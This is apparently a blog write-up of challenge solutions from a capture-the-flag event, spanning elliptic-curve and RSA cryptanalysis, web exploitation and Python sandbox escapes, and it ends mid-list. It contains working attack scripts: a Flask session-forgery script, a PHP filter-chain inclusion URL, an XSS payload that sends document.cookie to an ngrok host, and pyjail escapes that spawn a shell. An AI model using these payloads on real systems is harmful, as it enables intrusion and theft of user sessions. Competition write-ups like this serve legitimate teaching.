This week I participated in this CTF in TSJ, which was originally supposed to be held last year but was postponed until now. The problems were interesting and quite challenging.

crypto#

ECRSA#

p, q = [random_prime(2^512, lbound = 2^511) for _ in range(2)]
e = 3

while gcd(p - 1, e) != 1: p = next_prime(p)
while gcd(q - 1, e) != 1: q = next_prime(q)

n = p*q
d = inverse_mod(e, (p-1)*(q-1))

# d stands for debug. You don't even know n, so I don't risk anything.
print('d =', d)

m = ZZ(int.from_bytes(b"It is UNBREAKABLE, I tell you!! I'll even bet a flag on it, here it is: idek{REDACTED}", 'big'))
t = ZZ(int.from_bytes(b"ECRSA offers added security by elliptic entropy.", 'big'))
ym = randint(1, n)
yt = 2

# I like it when my points lie on my curve.
a, b = matrix([[m, 1], [t, 1]]).solve_right([ym^2 - m^3, yt^2 - t^3])
E = EllipticCurve(Zmod(n), [a, b])
M = E(m, ym)
T = E(t, yt)

E.base_field = E.base_ring # fix multiplication over rings (might not work depending on sage version!)
print('Encrypted flag:', M*e)
print('Encrypted test:', T*e)

Here we have three known points M*e, T*e, and (t,yt). By taking the resultant, we can obtain a multiple of $n$. Since we have $d$, we can get a multiple of $\varphi(n)$. By taking the gcd with $x^{\varphi(n)}-1$, we can get the exact value of $n$.

Then, by dividing $\varphi(n)$, we can factorize $n$. Using $e$, we can take the inverse of $\#E(\mathbb{F}_p) \times \#E(\mathbb{F}_q)$ to get $d$ in the sense of $E(\mathbb{Z}/n\mathbb{Z})$, and then decrypt.

e = 3
d = 99193023581616109152177764300040037859521925088272985981669959946817746109531909713425474710564402873765914926441545005839662821744603138460681680285655317684469203777533871394260260583839662628325884473084768835902143240687542429953968760669321064892423877370896609497584167478711224462305776836476437268587
CF = (
    115076663389968253954821343472300155800654332223208277786605760890770425514748910251950393842983935903563187546008731344369976804796963863865102277460894378910744413097852034635455187460730497479244094103353376650220792908529826147612199680141743585684118885745149209575053969106545841997245139943766220688789,
    74232642959425795109854140949498935461683632963630260034964643066394703345139733396470958836932831941672213466233486926122670098721687149917605871805886006479766670309639660332339984667770417687192717160061980507220617662938436637445370463397769213554349920956877041619061811087875024276435043752581073552318,
)
CT = (
    79615329406682121028641446306520032869660130854153788352536429332441749473394735222836513266191300847548366008281109415002581029448905418880962931523411475044527689429201653146200630804486870653795937020571749192405439450656659472253086567149309166068212312829071678837253421625687772396105149376211148834937,
    114576105009077728778286635566905404081211824310970349548035698466418670695753458926421098950418414701335730404414509232776047250916535638430446206810902182305851611221604003509735478943147034397832291215478617613443375140890349118302843641726392253137668650493281241262406250679891685430326869028996183320982,
)

x1, y1 = CF
x2, y2 = CT
x3, y3 = (
    ZZ(int.from_bytes(b"ECRSA offers added security by elliptic entropy.", "big")),
    2,
)
P.<aa, bb> = QQ[]
eqs = [
    y1 ^ 2 - (x1 ^ 3 + aa * x1 + bb),
    y2 ^ 2 - (x2 ^ 3 + aa * x2 + bb),
    y3 ^ 2 - (x3 ^ 3 + aa * x3 + bb),
]
res = lambda x, y, z: x.sylvester_matrix(y, z).det()
f = res(eqs[0], eqs[1], aa)
g = res(eqs[0], eqs[2], aa)
n_mul = ZZ(res(f, g, bb))
phik = e * d - 1
n = reduce(gcd, [pow(i, phik, n_mul) - 1 for i in range(2, 10)] + [n_mul])
p = gcd(pow(2, phik // (2 ^ 4 * 5), n) - 1, n)
q = n // p
assert p * q == n
a, b = matrix([[x1, 1], [x2, 1]]).solve_right(vector([y1^2 - x1^3, y2^2 - x2^3]))

E = EllipticCurve(Zmod(n), [a, b])
odp = E.change_ring(GF(p)).order()
odq = E.change_ring(GF(q)).order()
d = inverse_mod(e, odp * odq)
m, _ = (E(CF) * int(d)).xy()
print(int(m).to_bytes(256, "big").strip(b"\x00"))
# idek{Sh3_s3ll5_5n4k3_01l_0n_7h3_5e4_5h0r3}

Formal Security Poop#

This problem involves a custom Elliptic Curve implementation with no checks, so it relates to invalid curves. The problem itself has a permanent key $b, B=bG$ and a session key $y, Y=yG$. During key exchange, you also need a permanent key $a, A=aG$ and a session key $x, X=xG$, and then hash the shared secret $S$ to get the AES KEY. The shared secret is as follows:

There is a function to sign things with the session key, where $k$ is only 64 bits, and the curve itself is secp128r1. Using the ecdsa biased nonce attack, we can find $y$, so the problem of obtaining $b$ becomes an ECDLP.

For the invalid curve part, we can initially set $A$ to $O$, so the curve where $S$ lies will be on the same curve as $X$ that we can freely decide. By choosing curves with small subgroups, we can get some values of $b \mod{?}$, and using the Reinitialize session function to update $X,y$, we can get many equations and use CRT to find $b$.

The only thing to note is that we don't know $S$, but since the AES key is a hash of $S$, we can set the order of $X$ to the subgroup size, making it easier to brute force $S$ and then decrypt to see if it's correct. Since this method doesn't have the square root speedup like BSGS, the subgroup shouldn't be too large.

Precompute some curves with smooth order:

from sage.all import *
from ecc import *

curves = []
FF = GF(p)
grps = []
b = 3
while reduce(lcm, grps, 1) < 2 ** 256:
    EE = EllipticCurve(FF, [E.a, b])
    G = EE.gen(0)
    od = EE.order()
    fs = od.factor()
    subgroups = [f for f, e in fs if f < 2 ** 16 and f > 5]
    grps += subgroups
    if len(subgroups) > 0:
        curves.append((EE, G, od, subgroups))
    print(b, subgroups)
    b += 1
print(reduce(lcm, grps))
print(p)

import pickle
pickle.dump(curves, open("curves.pkl", "wb"))

Then use that data to solve:

from sage.all import *
from pwn import remote, process, context
from Crypto.Util.Padding import pad, unpad
from Crypto.Cipher import AES
from tqdm import tqdm
from ecc import *
import pickle

with open("curves.pkl", "rb") as f:
    curves = pickle.load(f)

import sys

sys.path.insert(0, "./lattice-based-cryptanalysis")
from lbc_toolkit import ecdsa_biased_nonce_zero_msb

Point.__repr__ = lambda self: f"({self.x}, {self.y})"


def balanced_mod(x, p):
    x %= p
    if x > p // 2:
        x -= p
    return x


def get_params(P):
    x = P.x
    y = P.y
    x2 = (2 * P).x
    y2 = (2 * P).y
    a, b = matrix(QQ, [[x, 1], [x2, 1]]).solve_right(
        vector([y**2 - x**3, y2**2 - x2**3])
    )
    # return a % p, b % p
    return balanced_mod(a, p), balanced_mod(b, p)


def is_on_curve(P, E):
    return (P.y**2 - P.x**3 - E.a * P.x - E.b) % p == 0


# io = process(["python", "main.py"])
io = remote("formal-security-poop.chal.idek.team", 1337)


def sendpoint(io, P):
    io.sendlineafter(b"x = ", str(P.x).encode())
    io.sendlineafter(b"y = ", str(P.y).encode())


def recvpoint(io):
    io.recvuntil(b"x = ")
    x = int(io.recvline().strip())
    io.recvuntil(b"y = ")
    y = int(io.recvline().strip())
    return Point(E, x, y)


def store(io, aes, owner, secret):
    io.sendlineafter(b">>> ", b"1")
    io.sendlineafter(b"Who are you? ", owner.encode())
    io.sendlineafter(b"secret = ", aes.encrypt(pad(secret, 16)).hex().encode())


def retrieve(io, aes, owner, priv):
    io.sendlineafter(b">>> ", b"2")
    io.sendlineafter(b"Who are you? ", owner.encode())
    t, T = gen_key()
    sendpoint(io, T)
    io.recvuntil(b"c = ")
    c = int(io.recvline().strip())
    s = t + c * priv
    io.sendlineafter(b"s = ", str(s).encode())
    io.recvuntil(b"secret = ")
    ct = bytes.fromhex(io.recvlineS().strip())
    try:
        return unpad(aes.decrypt(ct), 16)
    except ValueError:
        return ct


def dosession(io, x, X):
    sendpoint(io, X)
    B = recvpoint(io)
    Y = recvpoint(io)
    # S = (y + H(Y)*b)*(X + H(X)*A)
    S = (x + H(X) * a) * (Y + H(Y) * B)
    key = sha512(H(S).to_bytes(32, "big")).digest()[:16]
    aes = AES.new(key, AES.MODE_ECB)
    return B, Y, key, aes


def resession(io, x, X):
    io.sendlineafter(b">>> ", b"4")
    return dosession(io, x, X)


def sign(io, owner):
    io.sendlineafter(b">>> ", b"3")
    io.sendlineafter(b"sign? ", owner.encode())
    io.recvuntil(b"r = ")
    r = int(io.recvline().strip())
    io.recvuntil(b"s = ")
    s = int(io.recvline().strip())
    return r, s


# a, A = gen_key()
a, A = 0, E.O
x, X = gen_key()

sendpoint(io, A)
B, Y, key, aes = dosession(io, x, X)

secret = b"flag{peko}"
store(io, aes, "peko", secret)
print(retrieve(io, aes, "peko", a))


def get_y():
    Z = []
    R = []
    S = []
    m = int.from_bytes(sha512(secret).digest(), "big") % p
    for _ in range(4):
        r, s = sign(io, "peko")
        Z.append(ZZ(m))
        R.append(ZZ(r))
        S.append(ZZ(s))
    l = p.bit_length() - 64
    return ecdsa_biased_nonce_zero_msb(Z, R, S, ZZ(p), l)


y = get_y()
print(f"{y = }")

EE, GG, od, subgroups = curves[0]
gsize = subgroups[-1]
print(gsize)

old_aes = aes


def get_bmod(EE, GG, od, gsize):
    cf = od // gsize
    X = Point(E, *[int(x) for x in (cf * GG).xy()])
    B, Y, *_ = resession(io, 0, X)
    y = get_y()
    assert y * G == Y
    ct = retrieve(io, old_aes, "peko", a)
    print(f"{y = }")
    for sol in tqdm(range(1, gsize + 1)):
        S = (y + H(Y) * sol) * (X + H(X) * A)
        key = sha512(H(S).to_bytes(32, "big")).digest()[:16]
        aes = AES.new(key, AES.MODE_ECB)
        try:
            if unpad(aes.decrypt(ct), 16) == secret:
                return sol
            break
        except ValueError:
            pass


def get_b():
    xx = []
    yy = []
    for EE, GG, od, subgroups in curves:
        print("Use", EE)
        for gsize in subgroups:
            if gsize in yy:
                continue
            try:
                sol = get_bmod(EE, GG, od, gsize)
                # for some unknown reason, the result may sometimes be wrong
                # simply re-run the script until you get flag
                if sol is not None:
                    print(f"b = {sol} mod {gsize}")
                    xx.append(sol)
                    yy.append(gsize)
            except:
                pass
    return crt(xx, yy), reduce(lcm, yy)


b, m = get_b()
print(f"b = {b} (mod {m})")
x, X = gen_key()
B, Y, key, aes = resession(io, x, X)
print(retrieve(io, aes, "Bob", b))
io.interactive()
# idek{HMQV_m4d3_K0bl1tz_4ng3ry}

From the flag, we can see that the key exchange is HMQV: A High-Performance Secure Diffie-Hellman Protocol, but I'm not sure about the relationship between HMQV and Koblitz. The author's writeup has some links about this at the end.

Chronophobia#

This problem is related to RSA timelock. For a random $t$, we need to calculate the value of $t^r \mod{n}$, where $r=2^{2^d}, d \in [128,256]$. Since $r$ is very large, repeated squaring is not feasible, and we need to know $\varphi(n)$.

Additionally, there is an oracle $f(u)$ that calculates $\operatorname{MSB}(u^r \mod{n})$, which can be called 1337 times.

Since $t^r \times t^r \equiv (t^2)^r \pmod{n}$, let the unknown parts of $f(t)$ and $f(t^2)$ be $x,y$ respectively, then $(f(t)+x)(f(t)+x) \equiv f(t^2)+y \pmod{n}$. Given the parameters of this problem, $0 \leq x,y < 10^{108}$, and $n \approx 2^{1024}$ is relatively small, we can use coppersmith to solve it.

from sage.all import *
from pwn import process, remote
import sys

sys.path.append("./lattice-based-cryptanalysis")

# idk why defund/coppersmith doesn't work...
# need to remove `algorithm='msolve'` from solve_system_with_gb
from lbc_toolkit import small_roots

# io = process(["python", "server.py"])
io = remote("chronophobia.chal.idek.team", 1337)
io.recvuntil(b"token: ")
t = int(io.recvlineS().strip())
io.recvuntil(b"modulus is: ")
n = int(io.recvlineS().strip())
print(f"{n = }")
print(f"{t = }")


def oracle(x):
    io.sendlineafter(b">>>", b"1")
    io.sendlineafter(b"token. ", str(x).encode())
    io.sendlineafter(b"calculation? ", b"-1")
    io.recvuntil(b"ans is ")
    val = int(io.recvuntil(b"...", drop=True))
    io.recvuntil(b"(")
    rem = int(io.recvuntil(b" ", drop=True))
    return val * 10**rem


ft = oracle(t)
ft2 = oracle(t**2)
P = Zmod(n)["x,y"]
x, y = P.gens()
f = (ft + x) * (ft + x) - (ft2 + y)

print(f)
rs = small_roots(f, [10 ** (308 - 200)] * 2, m=2, d=2)
print(rs)
xx, yy = rs[0]
io.sendlineafter(b">>>", b"2")
io.sendlineafter(b"ticket. ", str(ft + xx).encode())
io.interactive()
# idek{St@rburst_str3@m!!!}

# intended: HNP with hidden multiplier

I originally used defund/coppersmith's small_roots but couldn't solve it. However, switching to joseph's Lattice-based Cryptanalysis Toolkit's small_roots worked magically.

According to the problem author EggRoll, the intended solution is related to HNP with hidden multiplier. The writeup is here.

Finite Realm of Random#

I don't even understand what this problem means, so I can't explain it QQ. I managed to solve it by messing around, so please read the author's writeup.

from random import choice, shuffle, randint
from tqdm import tqdm


def as_poly_of(self, gen):
    L = self.parent()
    d = L.degree()
    V = L.base_ring() ^ d

    vecs = [vector(self)] + [vector(gen ^ i) for i in range(d)]
    dependence = V.linear_dependence(vecs)

    if all(coeffs[0] == 0 for coeffs in dependence):
        raise ArithmeticError(f"Cannot express {self} as a polynomial in {gen}")

    coeffs = next(list(coeffs) for coeffs in dependence if coeffs[0] != 0)
    return L.base_ring()["x"](coeffs[1:]) / -coeffs[0]


with open("out.txt", "r") as f:
    x = bytes.fromhex(f.read())


def get_L(bits):
    L = GF(127)
    for i in range(bits.nbits() - 1):
        L = L["x"].irreducible_element(2, algorithm="random").splitting_field(f"t{i}")
    return L


L = get_L(32)

for i in range(0, len(x), 32):
    M = L(list(map(ZZ, x[i : i + 32])))
    for _ in tqdm(range(200)):
        m = M
        while m == M:
            roots = L.random_element().minimal_polynomial().roots(L)
            shuffle(roots)

            try:
                (r1, _), (r2, _) = roots[:2]
                M = as_poly_of(M, r1)(r2)
            except:
                pass
        if M.polynomial().degree() < 16:
            print(bytes(M.polynomial()).decode())
            break
# idek{4nd_7hu5_5p0k3_G4!015:_7h3_f1n1t3_r34Lm_sh4ll_n07_h4rb0ur_r4nd0mn355,_0n!y_7h3_fr0b3n1u5__}

Decidophobia#

This problem involves an Oblivious Transfer, where there is an $n=pqr$ of 1536 bits that needs to be factored. It will let you choose one of $p,q,r$ through OT under another 768 bits $N=PQ$, but the goal is to completely factor $n$.

Oblivious Transfer will generate three random numbers $0 \leq x_1,x_2,x_3 < N$ and send them to you. You need to return a $v$, and it will calculate:

So if you want to get $p$, you choose $v = r^e + x_1$, and $c_1 - r \mod{N}$ will give you $p$.

Intended Solution#

This problem reminded me of zer0pts CTF 2022 - OK, which used $v-x_1 \equiv -(v-x_2) \pmod{N}$ to get the sum of two values. In this problem, it would be $s \equiv c_1+c_2 \equiv p+q \pmod{N}$. Since $p+q < N$, $s$ is the exact value of $p+q$, but I couldn't think of a way to factor $n=pqr$ using just $p+q$ and $n$.

After thinking about it, I realized that $p,q$ are only about 512 bits each, and $N$ is 728 bits. So if we let $v-x_1 \equiv -l^e (v-x_2)$, we get $s \equiv c_1 + c_2l \equiv p+ql \pmod{N}$. To ensure $p+ql$ doesn't exceed $N$, I chose $l=2^{255}$. ($l^{256}$ is also possible, but the probability of exceeding the range is higher)

So if $s=p+ql$ holds as an integer, the lower bits of $s$ are the lower bits of $p$, and the higher bits of $s$ are the higher bits of $q$, giving us some information. Naturally, I thought of using coppersmith to see if it could work.

To simplify, $p,q$ are represented as $p_h,p_l,q_h,q_l$, with $p_l,q_h$ known. So:

Where $A,B$ are constants, so the unknowns are only $p_h,q_l$. This shows a coppersmith pattern, but since the unknowns are 256 bits and $p,q$ each occupy only $1/3$ of $n=pq$, this is a $\beta \approx 0.33$ coppersmith, which is not feasible.

I then multiplied the two polynomials to get:

So modulo $pq$, it becomes 0, making it $\beta \approx 0.66$. However, since it's in a multivariate coppersmith context, the bounds still don't fit, so I was stuck for a long time QQ.

Later, I realized I hadn't used the information that the middle bits of $s$ are actually $p_h+q_l$. We can denote this as $t$, giving:

Clearly, the root of $g$ holds as an integer, so

is a univariate quadratic polynomial. Modulo $pq$, $h(q_l)$ is 0, making it $\beta \approx 0.66$. Since it's univariate, small_roots solves it, and we can factor $n$ to solve the problem.

from sage.all import *
from pwn import process, remote

# io = process(["python", "server.py"])
io = remote("decidophobia.chal.idek.team", 1337)
io.sendlineafter(b">>> ", b"1")
io.recvuntil(b"n = ")
n = int(io.recvline())
io.recvuntil(b"enc = ")
enc = int(io.recvline())
io.sendlineafter(b">>> ", b"2")
io.sendlineafter(b">>> ", b"2")
io.recvuntil(b"N = ")
N = int(io.recvline())
io.recvuntil(b"x1 = ")
x1 = int(io.recvline())
io.recvuntil(b"x2 = ")
x2 = int(io.recvline())
io.recvuntil(b"x3 = ")
x3 = int(io.recvline())

psplit = 255
qsplit = 512 - psplit + 1
l = 2**psplit
k = pow(l, 0x10001, N)

# https://hackmd.io/@theoldmoon0602/SJrf0HPMq

# v-x1=-k(v-x2)=-kv+kx2
# (k+1)v=kx2+x1

# (v-x1)^d=(-k(v-x2))^d=-(k^d)*(v-x2)^d
# k1=(v-x1)^d=-(k^d)*k2

# k1+(k^d)*k2=0
# c1+(k^d)*c2=p+l*q


v = (k * x2 + x1) * pow(k + 1, -1, N) % N
assert (v - x1) % N == -k * (v - x2) % N
io.sendlineafter(b"response: ", str(v).encode())

io.recvuntil(b"c1 = ")
c1 = int(io.recvline())
io.recvuntil(b"c2 = ")
c2 = int(io.recvline())
io.recvuntil(b"c3 = ")
c3 = int(io.recvline())

s = (c1 + l * c2) % N
pl = s % l  # lower bits are lower bits of p
qh = s >> 513  # upper bits are upper bits of q

P = Zmod(n)["ql, ph"]
ql, ph = P.gens()
pp = ph * (1 << psplit) + pl
qq = qh * (1 << qsplit) + ql
t = (s >> psplit) % (1 << qsplit)  # middle bits are sum of ql+ph

f = pp * qq
g = ql + ph - t
h = f.sylvester_matrix(g, ph).det().univariate_polynomial()
# it should be beta=0.66, but beta=0.33 works and it is faster :thinking:
x = h.monic().small_roots(X=2**qsplit, beta=0.33, epsilon=0.02)[0]
pq = gcd(ZZ(h(x)), n)
r = n // pq
q = ZZ(qq.univariate_polynomial()(x))
p = pq // q
assert p * q * r == n

phi = (p - 1) * (q - 1) * (r - 1)
d = pow(0x10001, -1, phi)
ticket = pow(enc, d, n)
io.sendlineafter(b">>> ", b"4")
io.sendlineafter(b"ticket. ", str(ticket).encode())
io.interactive()
# idek{H0n3sty_1s_th3_b3st_p0l1cy?_N0p3_b3c4us3_w3_ar3_h@ck3rs!}

Although the final part should use beta=0.66, I found that using beta=0.33 also worked and was faster, which is a bit mysterious.

Author's writeup

Unintended Solution#

After discussing with the author, I found that B6a's Mystiz discovered another unintended solution, which is also interesting.

First, by choosing $v=x_1$, you can get $p$ and $qr$. Using the remaining $c_2,c_3$, you can list:

To express everything with one unknown $q$, multiply the second equation by $q^e$ to get:

Since $qr$ is known and $e=65537$, you can use Half GCD to find $q$ and solve the problem.

from sage.all import *
from pwn import process, remote

# io = process(["python", "server.py"])
io = remote("decidophobia.chal.idek.team", 1337)
io.sendlineafter(b">>> ", b"1")
io.recvuntil(b"n = ")
n = int(io.recvline())
io.recvuntil(b"enc = ")
enc = int(io.recvline())
io.sendlineafter(b">>> ", b"2")
io.sendlineafter(b">>> ", b"2")
io.recvuntil(b"N = ")
N = int(io.recvline())
io.recvuntil(b"x1 = ")
x1 = int(io.recvline())
io.recvuntil(b"x2 = ")
x2 = int(io.recvline())
io.recvuntil(b"x3 = ")
x3 = int(io.recvline())
v = x1
io.sendlineafter(b"response: ", str(v).encode())
io.recvuntil(b"c1 = ")
c1 = int(io.recvline())
io.recvuntil(b"c2 = ")
c2 = int(io.recvline())
io.recvuntil(b"c3 = ")
c3 = int(io.recvline())

e = 0x10001
p = c1
qr = n // p
P = Zmod(N)["qq"]
qq = P.gen()
f = (c2 - qq) ** e - (x1 - x2)
g = (qq * c3 - qr) ** e - qq**e * (x1 - x3)

# https://github.com/rkm0959/rkm0959_implements/tree/main/Half_GCD
def HGCD(a, b):
    if 2 * b.degree() <= a.degree() or a.degree() == 1:
        return 1, 0, 0, 1
    x = a.parent().gen()
    m = a.degree() // 2
    a_top, a_bot = a.quo_rem(x**m)
    b_top, b_bot = b.quo_rem(x**m)
    R00, R01, R10, R11 = HGCD(a_top, b_top)
    c = R00 * a + R01 * b
    d = R10 * a + R11 * b
    q, e = c.quo_rem(d)
    d_top, d_bot = d.quo_rem(x ** (m // 2))
    e_top, e_bot = e.quo_rem(x ** (m // 2))
    S00, S01, S10, S11 = HGCD(d_top, e_top)
    RET00 = S01 * R00 + (S00 - q * S01) * R10
    RET01 = S01 * R01 + (S00 - q * S01) * R11
    RET10 = S11 * R00 + (S10 - q * S11) * R10
    RET11 = S11 * R01 + (S10 - q * S11) * R11
    return RET00, RET01, RET10, RET11


def GCD(a, b):
    print(a.degree(), b.degree())
    q, r = a.quo_rem(b)
    if r == 0:
        return b
    R00, R01, R10, R11 = HGCD(a, b)
    c = R00 * a + R01 * b
    d = R10 * a + R11 * b
    if d == 0:
        return c.monic()
    q, r = c.quo_rem(d)
    if r == 0:
        return d
    return GCD(d, r)


h = GCD(f, g)
q = ZZ(-h[0] / h[1])
r = qr // q
assert p * q * r == n

phi = (p - 1) * (q - 1) * (r - 1)
d = pow(0x10001, -1, phi)
ticket = pow(enc, d, n)
io.sendlineafter(b">>> ", b"4")
io.sendlineafter(b"ticket. ", str(ticket).encode())
io.interactive()
# idek{H0n3sty_1s_th3_b3st_p0l1cy?_N0p3_b3c4us3_w3_ar3_h@ck3rs!}

web#

SimpleFileServer#

By symlinking a file in the zip to /, you can read any file (Zip slip). Reading the config reveals that you need the server's start time to get the SECRET_KEY, which can be obtained from the server log. Brute force a bit to get the SECRET_KEY, then sign yourself as admin to get the flag.

import hashlib
import random
import os
import time
from itsdangerous import URLSafeTimedSerializer
from flask.json.tag import TaggedJSONSerializer
from datetime import datetime
from tqdm import tqdm

SECRET_OFFSET = -67198624
random.seed(round((time.time() + SECRET_OFFSET) * 1000))
secret_key = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")

ts = "2023-01-13 23:04:17 +0000"
session = (
    "eyJhZG1pbiI6bnVsbCwidWlkIjoic3VwZXJuZW5lIn0.Y8Kb_g.jokIwc1vZqHsYyVxzi_-7puqIUE"
)

dt = datetime.strptime(ts, "%Y-%m-%d %H:%M:%S %z")
st = (int(dt.timestamp()) + SECRET_OFFSET) * 1000

signer_kwargs = {"key_derivation": "hmac", "digest_method": hashlib.sha1}
serializer = TaggedJSONSerializer()

pbar = tqdm()
while True:
    pbar.update(1)
    random.seed(st)
    secret_key = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace(
        "0x", ""
    )
    try:
        print(
            URLSafeTimedSerializer(
                secret_key,
                salt="cookie-session",
                signer_kwargs=signer_kwargs,
                serializer=serializer,
            ).loads(session)
        )
        print(secret_key)
        print(st)
        break
    except:
        pass
    st += 1


tok = URLSafeTimedSerializer(
    secret_key,
    salt="cookie-session",
    signer_kwargs=signer_kwargs,
    serializer=serializer,
).dumps({"admin": True, "uid": "supernene"})
import requests

r = requests.get(
    "http://simple-file-server.chal.idek.team:1337/flag", cookies={"session": tok}
)
print(r.text)
# idek{s1mpl3_expl01t_s3rver}

Paywall#

Use this or this to chain a PHP filter.

http://paywall.chal.idek.team:1337/?p=php%3A%2F%2Ffilter%2Fconvert.iconv.UTF8.CSISO2022KR%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.SE2.UTF-16%7Cconvert.iconv.CSIBM921.NAPLPS%7Cconvert.iconv.855.CP936%7Cconvert.iconv.IBM-932.UTF-8%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.8859_3.UTF16%7Cconvert.iconv.863.SHIFT_JISX0213%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.INIS.UTF16%7Cconvert.iconv.CSIBM1133.IBM943%7Cconvert.iconv.GBK.SJIS%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.PT.UTF32%7Cconvert.iconv.KOI8-U.IBM-932%7Cconvert.iconv.SJIS.EUCJP-WIN%7Cconvert.iconv.L10.UCS4%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.L5.UTF-32%7Cconvert.iconv.ISO88594.GB13000%7Cconvert.iconv.CP950.SHIFT_JISX0213%7Cconvert.iconv.UHC.JOHAB%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.863.UNICODE%7Cconvert.iconv.ISIRI3342.UCS4%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.CP-AR.UTF16%7Cconvert.iconv.8859_4.BIG5HKSCS%7Cconvert.iconv.MSCP1361.UTF-32LE%7Cconvert.iconv.IBM932.UCS-2BE%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.PT.UTF32%7Cconvert.iconv.KOI8-U.IBM-932%7Cconvert.iconv.SJIS.EUCJP-WIN%7Cconvert.iconv.L10.UCS4%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.base64-decode%2Fresource%3Dflag

idek{Th4nk_U_4_SubscR1b1ng_t0_our_n3wsPHPaper!}

JSON Beautifier#

This problem has very little code but is quite fun.

/static/js/main.js:

window.inputBox = document.getElementById('json-input');
window.outputBox = document.getElementById('json-output');
window.container = document.getElementById('container');

const defaults = {
	opts: {
		cols: 4
	},
	debug: false,
};

const beautify = () => {
	try {
		userJson = JSON.parse(inputBox.textContent);
	} catch (e){
		return;
	};

	loadConfig();
	const cols = this.config?.opts?.cols || defaults.opts.cols;
	output = JSON.stringify(userJson, null, cols);

	console.log(this.config?.opts)
	
	if(this.config?.debug || defaults.debug){
		eval(`beautified = ${output}`);
		return beautified;
	};
	
	outputBox.innerHTML = `<pre>${output}</pre>`
};

const saveConfig = (config) => {
	localStorage.setItem('config', JSON.stringify(config));
};

const loadConfig = () => {
	if (localStorage.hasOwnProperty('config')){
		window.config = JSON.parse(localStorage.getItem('config'))
	};
}

console.log('hello from JSON beautifier!')

inputBox.addEventListener("DOMCharacterDataModified", () => {
	beautify();
});

if((new URL(location).searchParams).get('json')){
	const jsonParam = (new URL(location).searchParams).get('json');
	inputBox.textContent = jsonParam;
};

beautify();

There is an innerHTML XSS, but due to CSP script-src 'unsafe-eval' 'self'; object-src 'none';, we need to trigger eval.

First, we can insert an iframe srcdoc to reload /static/js/main.js, then use DOM clobbering to override config.debug to enter eval.

However, output is the result of JSON.stringify, so we can't control the code to be executed directly. We need to find a way to clobber config.opts.cols. Normal DOM Clobbering techniques can't control cols because MDN JSON.stringify states that cols must be a string or number:

If space is anything other than a string or number (can be either a primitive or a wrapper object) — for example, is null or not provided — no white space is used.

So we need to find an element with a cols attribute:

Object.getOwnPropertyNames(window).filter(x => window[x]?.prototype?.hasOwnProperty('cols'))
// (2) ['HTMLTextAreaElement', 'HTMLFrameSetElement']

The textarea's cols can only be a number, but the frameset's cols can be a string, so we can use frameset to control cols.

Finally, cols must be within 10 characters because MDN states:

If this is a string, the string (or the first 10 characters of the string, if it's longer than that) is inserted before every nested object or array.

So JSON.stringify([0], null, 'eval(name),') will result in a syntax error:

[
eval(name)0
]

But using JSON.stringify(['*/alert(1)//'], null, '/*') will result in:

[
/*"*/alert(1)//"
]

This allows for XSS.

<script>
	function htmlEscape(str) {
		return str
			.replace(/&/g, '&amp;')
			.replace(/</g, '&lt;')
			.replace(/>/g, '&gt;')
			.replace(/"/g, '&quot;')
			.replace(/'/g, '&#039;')
	}
	const target = 'http://json-beautifier.chal.idek.team:1337/'
	const ht =
		`<div id=json-input>["*/eval(top.name)//"]</div>
    <iframe name=config srcdoc='<head></head><frameset id=opts cols="/*">
            <frame id=debug src=about:blank />
        </frameset>
    '></iframe>
    <script src=/static/js/main.js?iframe></` + `script>`
	window.name = '(new Image).src = "https://???.ngrok.io/report?" + document.cookie'
	location =
		target +
		'?json=' +
		encodeURIComponent(
			JSON.stringify({
				a: `<iframe srcdoc='${htmlEscape(ht)}'></iframe>`
			})
		)
</script>

idek{w0w_th4t_JS0N_i5_v3ry_beautiful!!!}

Actually, the above JSON.stringify([0], null, 'eval(name),') just needs to be changed to JSON.stringify([-1], null, 'eval(name)'), which is so simple that I only realized it after seeing others' discussions post-competition...

misc#

pyjail#

#!/usr/bin/env python3

blocklist = ['.', '\\', '[', ']', '{', '}',':']
DISABLE_FUNCTIONS = ["getattr", "eval", "exec", "breakpoint", "lambda", "help"]
DISABLE_FUNCTIONS = {func: None for func in DISABLE_FUNCTIONS}

print('welcome!')

while True:
    cmd = input('>>> ')
    if any([b in cmd for b in blocklist]):
        print('bad!')
    else:
        try:
            print(eval(cmd, DISABLE_FUNCTIONS))
        except Exception as e:
            print(e)

Seeing this reminded me of hsctf 9 - pass v2's unintended solution, so I used it to solve this instantly.

setattr(copyright,'__dict__',globals()),delattr(copyright,'breakpoint'),breakpoint()

idek{9eece9b4de9380bc3a41777a8884c185}

Pyjail Revenge#

#!/usr/bin/env python3

def main():
    blocklist = ['.', '\\', '[', ']', '{', '}',':', "blocklist", "globals", "compile"]
    DISABLE_FUNCTIONS = ["getattr", "eval", "exec", "breakpoint", "lambda", "help"]
    DISABLE_FUNCTIONS = {func: None for func in DISABLE_FUNCTIONS}

    print('welcome!')

    # NO LOOP!

    cmd = input('>>> ')
    if any([b in cmd for b in blocklist]):
        print('bad!')
    else:
        try:
            print(eval(cmd, DISABLE_FUNCTIONS))
        except Exception as e:
            print(e)

if __name__ == '__main__':
    main()

For my previous solution, apart from blocking globals, nothing else changed, and that can be bypassed using unicode:

setattr(copyright,'__dict__',gloｂals()),delattr(copyright,'breakpoint'),breakpoint()

idek{what_used_to_be_a_joke_has_now_turned_into_an_pyjail_escape.How_wonderful!}

Other interesting solutions seen on Discord:

@downgrade (Intended Solution):

__import__('antigravity',setattr(__import__('os'),'environ',dict(BROWSER='/bin/sh -c "/readflag giveflag" #%s'))) 

@intrigus, @Robin:

